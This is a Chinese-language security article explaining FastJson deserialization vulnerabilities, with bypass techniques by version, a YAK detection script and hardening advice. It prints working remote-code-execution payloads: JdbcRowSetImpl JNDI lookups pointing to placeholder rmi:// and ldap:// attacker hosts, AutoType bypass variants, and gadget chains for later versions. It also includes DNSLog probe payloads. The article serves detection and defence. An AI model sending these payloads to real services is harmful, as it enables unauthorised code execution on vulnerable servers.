FastJson 启发式检测
字数 1667 2025-08-10 08:28:30
FastJson漏洞分析与检测技术详解
一、FastJson漏洞概述
FastJson是阿里巴巴开源的高性能JSON处理库,因其高效性被广泛使用,但历史上存在多个高危反序列化漏洞,攻击者可通过精心构造的JSON数据实现远程代码执行(RCE)。
二、核心漏洞原理
1. 漏洞触发机制
FastJson在解析JSON时,当遇到@type字段时会尝试加载指定类并实例化。攻击者可以利用此特性加载恶意类,特别是那些在反序列化过程中会自动执行危险操作的类(如JNDI查找)。
2. 关键漏洞类
com.sun.rowset.JdbcRowSetImpl是最常用的漏洞利用类,其setAutoCommit方法会自动对配置的dataSourceName执行JNDI查找,导致RCE。
三、漏洞利用Payload分析
1. 基础Payload
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://x.x.x.x:1099/jndi",
"autoCommit":true
}
2. Payload变形技术
(1) 类名变形绕过
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
原理:FastJson的TypeUtils.loadClass方法会处理JNI风格的类描述符:
- 移除以
L开头、以;结尾的类名的首尾字符 - 忽略以
[开头的类名
(2) AutoType绕过Payload
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://x.x.x.x:1099/jndi",
"autoCommit":true
}
原理:先通过java.lang.Class加载目标类到缓存(mapping),后续加载时从缓存读取绕过AutoType检查。
3. 高版本利用Payload
(1) 1.2.45版本
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://x.x.x.x:1389/Exploit"
}
}
(2) 1.2.62版本
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://x.x.x.x:1099/Exploit"
}
(3) 1.2.66版本
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["base64编码的恶意字节码"],
"_name":"c",
"_tfactory":{},
"outputProperties":{}
}
4. DNS检测Payload
{
"@type":"java.net.Inet4Address",
"val":"dnslog-domain"
}
{
"@type":"java.net.InetSocketAddress",
"address":"dnslog-domain"
}
优势:
- 不受JDK版本限制
- 不受AutoType开关影响
- 可用于检测1.2.48+版本
四、漏洞版本影响范围
1. 版本矩阵
| FastJson版本 | AutoType关闭 | AutoType开启 |
|---|---|---|
| 1.2.24及之前 | 直接利用 | 直接利用 |
| 1.2.25-1.2.47 | Class缓存绕过 | Class缓存绕过 |
| 1.2.32-1.2.47 | Class缓存绕过 | 类名变形绕过 |
| 1.2.48+ | 需第三方gadget | 需第三方gadget |
2. 防御机制演进
- 1.2.25:引入AutoType和黑白名单机制
- 1.2.32:加强黑名单检查
- 1.2.42:修复类名双写绕过
- 1.2.47:修复Class缓存绕过
- 1.2.48:默认关闭缓存,黑名单增加关键类
五、检测技术实现
1. 检测流程
- 使用
Inet4Address/InetSocketAddress进行DNSLog检测 - 确认存在漏洞后,尝试JNDI利用Payload
- 对高版本尝试第三方库gadget
2. YAK实现示例
dnslogPayloads = [
`{"@type":"java.net.Inet4Address","val":"{{params(reverseConnTarget)}}"}`,
`{"@type":"java.net.InetSocketAddress","address":"{{params(reverseConnTarget)}}"}`
]
nextPayload = [
`{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"{{params(reverseConnTarget)}}","autoCommit":true}`,
`{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"{{params(reverseConnTarget)}}", "autoCommit":true}`
]
highVersionPayload = [
`{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"{{params(reverseConnTarget)}}"}`
]
3. 检测优化策略
- 精准检测:仅对JSON响应内容进行测试
- 流量控制:每个路径只检测一次
- 分级检测:先无害检测,确认后再尝试利用
六、防御建议
- 升级:使用FastJson 1.2.83及以上版本
- 配置:
- 关闭AutoType:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false) - 使用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true)
- 关闭AutoType:
- 黑白名单:配置严格的白名单机制
- 输入过滤:检查JSON数据中的
@type字段
七、调试与分析技巧
1. 关键调试点
- 类加载:
TypeUtils.loadClass方法 - AutoType检查:
ParserConfig.checkAutoType方法 - 反序列化:
JavaBeanDeserializer.deserialze方法
2. 环境搭建
Maven依赖:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
测试代码:
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://x.x.x.x:1099/jndi\", \"autoCommit\":true}";
JSONObject.parse(payload);